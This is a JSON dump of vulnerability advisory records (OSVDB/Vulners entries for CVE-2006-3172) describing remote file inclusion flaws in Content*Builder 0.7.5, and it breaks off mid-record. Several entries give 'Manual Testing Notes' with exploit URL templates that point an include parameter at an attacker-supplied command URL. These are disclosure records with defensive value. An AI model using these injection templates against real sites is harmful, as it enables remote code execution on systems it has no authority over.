{"type": "osvdb", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26353", "hashmap": [{"key": "affectedSoftware", "hash": "e78a7bf4fcf37d024c44d059c3c82180"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "22e4d5941f53d1784ca25aa01e2d3075"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "c908641a6a22e8c2434088ced0cae4fb"}, {"key": "href", "hash": "da0abe5a63acfcc4d85ee739ee92d9c5"}, {"key": "modified", "hash": "d69bcf2a8f76c1e4004e4dae45f2c07a"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "d69bcf2a8f76c1e4004e4dae45f2c07a"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "75b3c18a3b5e3402d09f95c144d0f8f8"}, {"key": "title", "hash": "0518006754cde3faa5c2ea605c00d3e9"}, {"key": "type", "hash": "1327ac71f7914948578f08c54f772b10"}], "bulletinFamily": "software", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 7.5}, "viewCount": 1, "history": [], "edition": 1, "objectVersion": "1.2", "reporter": "Federico Fazzi(federico@autistici.org)", "title": "Content*Builder shoutbox/shoutBox.php path[cb] Variable Remote File Inclusion", "affectedSoftware": [{"operator": "eq", "version": "0.7.5", "name": "Content*Builder"}], "enchantments": {"score": {"value": 7.0, "vector": "NONE", "modified": "2017-04-28T13:20:22"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2006-3172"]}, {"type": "osvdb", "idList": ["OSVDB:26360", "OSVDB:26352", "OSVDB:26350", "OSVDB:26358", "OSVDB:26348", "OSVDB:26354", "OSVDB:26351", "OSVDB:26359", "OSVDB:26363", "OSVDB:26361"]}, {"type": "exploitdb", "idList": ["EDB-ID:1903"]}], "modified": "2017-04-28T13:20:22"}, "vulnersScore": 7.0}, "references": [], "id": "OSVDB:26353", "hash": "f78cfdbca2a75569836571bf17363f055b04004173455035d623c1e90866c4f2", "lastseen": "2017-04-28T13:20:22", "cvelist": ["CVE-2006-3172"], "modified": "2006-06-11T16:34:06", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/shoutbox/shoutBox.php script not properly sanitizing user input supplied to the 'path[cb]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/shoutbox/shoutBox.php script not properly sanitizing user input supplied to the 'path[cb]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/shoutbox/shoutBox.php?path[cb]=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n"}

{"cve": [{"lastseen": "2019-05-29T18:08:32", "bulletinFamily": "NVD", "description": "Multiple PHP remote file inclusion vulnerabilities in Content*Builder 0.7.5 allow remote attackers to execute arbitrary PHP code via a URL with a trailing slash (/) character in the (1) lang_path parameter to (a) cms/plugins/col_man/column.inc.php, (b) cms/plugins/poll/poll.inc.php, (c) cms/plugins/user_managment/usrPortrait.inc.php, (d) cms/plugins/user_managment/user.inc.php, (e) cms/plugins/media_manager/media.inc.php, (f) cms/plugins/events/permanent.eventMonth.inc.php, (g) cms/plugins/events/events.inc.php, and (h) cms/plugins/newsletter2/newsletter.inc.php; (2) path[cb] parameter to (i) modules/guestbook/guestbook.inc.php, (j) modules/shoutbox/shoutBox.php, and (k) modules/sitemap/sitemap.inc.php; and the (3) rel parameter to (l) modules/download/overview.inc.php, (m) modules/download/detailView.inc.php, (n) modules/article/fullarticle.inc.php, (o) modules/article/comments.inc.php, (p) modules/article2/overview.inc.php, (q) modules/article2/fullarticle.inc.php, (r) modules/article2/comments.inc.php, (s) modules/headline/headlineBox.php, and (t) modules/headline/showHeadline.inc.php.", "modified": "2017-07-20T01:32:00", "id": "CVE-2006-3172", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3172", "published": "2006-06-23T00:02:00", "title": "CVE-2006-3172", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "osvdb": [{"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/events/events.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/events/events.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/cms/plugins/events/events.inc.php?lang_path=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26350", "id": "OSVDB:26350", "type": "osvdb", "title": "Content*Builder events/events.inc.php lang_path Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article/comments.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article/comments.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/article/comments.inc.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-12T16:34:06", "published": "2006-06-12T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26358", "id": "OSVDB:26358", "type": "osvdb", "title": "Content*Builder article/comments.inc.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article2/fullarticle.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article2/fullarticle.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/article2/fullarticle.inc.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26360", "id": "OSVDB:26360", "type": "osvdb", "title": "Content*Builder article2/fullarticle.inc.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/events/permanent.eventMonth.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/events/permanent.eventMonth.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/cms/plugins/events/permanent.eventMonth.inc.php?lang_path=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26348", "id": "OSVDB:26348", "type": "osvdb", "title": "Content*Builder events/permanent.eventMonth.inc.php lang_path Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/guestbook/guestbook.inc.php script not properly sanitizing user input supplied to the 'path[cb]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/guestbook/guestbook.inc.php script not properly sanitizing user input supplied to the 'path[cb]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/guestbook/guestbook.inc.php?path[cb]=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26352", "id": "OSVDB:26352", "type": "osvdb", "title": "Content*Builder guestbook/guestbook.inc.php path[cb] Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/poll/poll.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/poll/poll.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/cms/plugins/poll/poll.inc.php?lang_path=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26345", "id": "OSVDB:26345", "type": "osvdb", "title": "Content*Builder poll/poll.inc.php lang_path Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/user_managment/usrPortrait.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /cms/plugins/user_managment/usrPortrait.inc.php script not properly sanitizing user input supplied to the 'lang_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/cms/plugins/user_managment/usrPortrait.inc.php?lang_path=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26346", "id": "OSVDB:26346", "type": "osvdb", "title": "Content*Builder user_managment/usrPortrait.inc.php lang_path Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article/fullarticle.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/article/fullarticle.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/article/fullarticle.inc.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 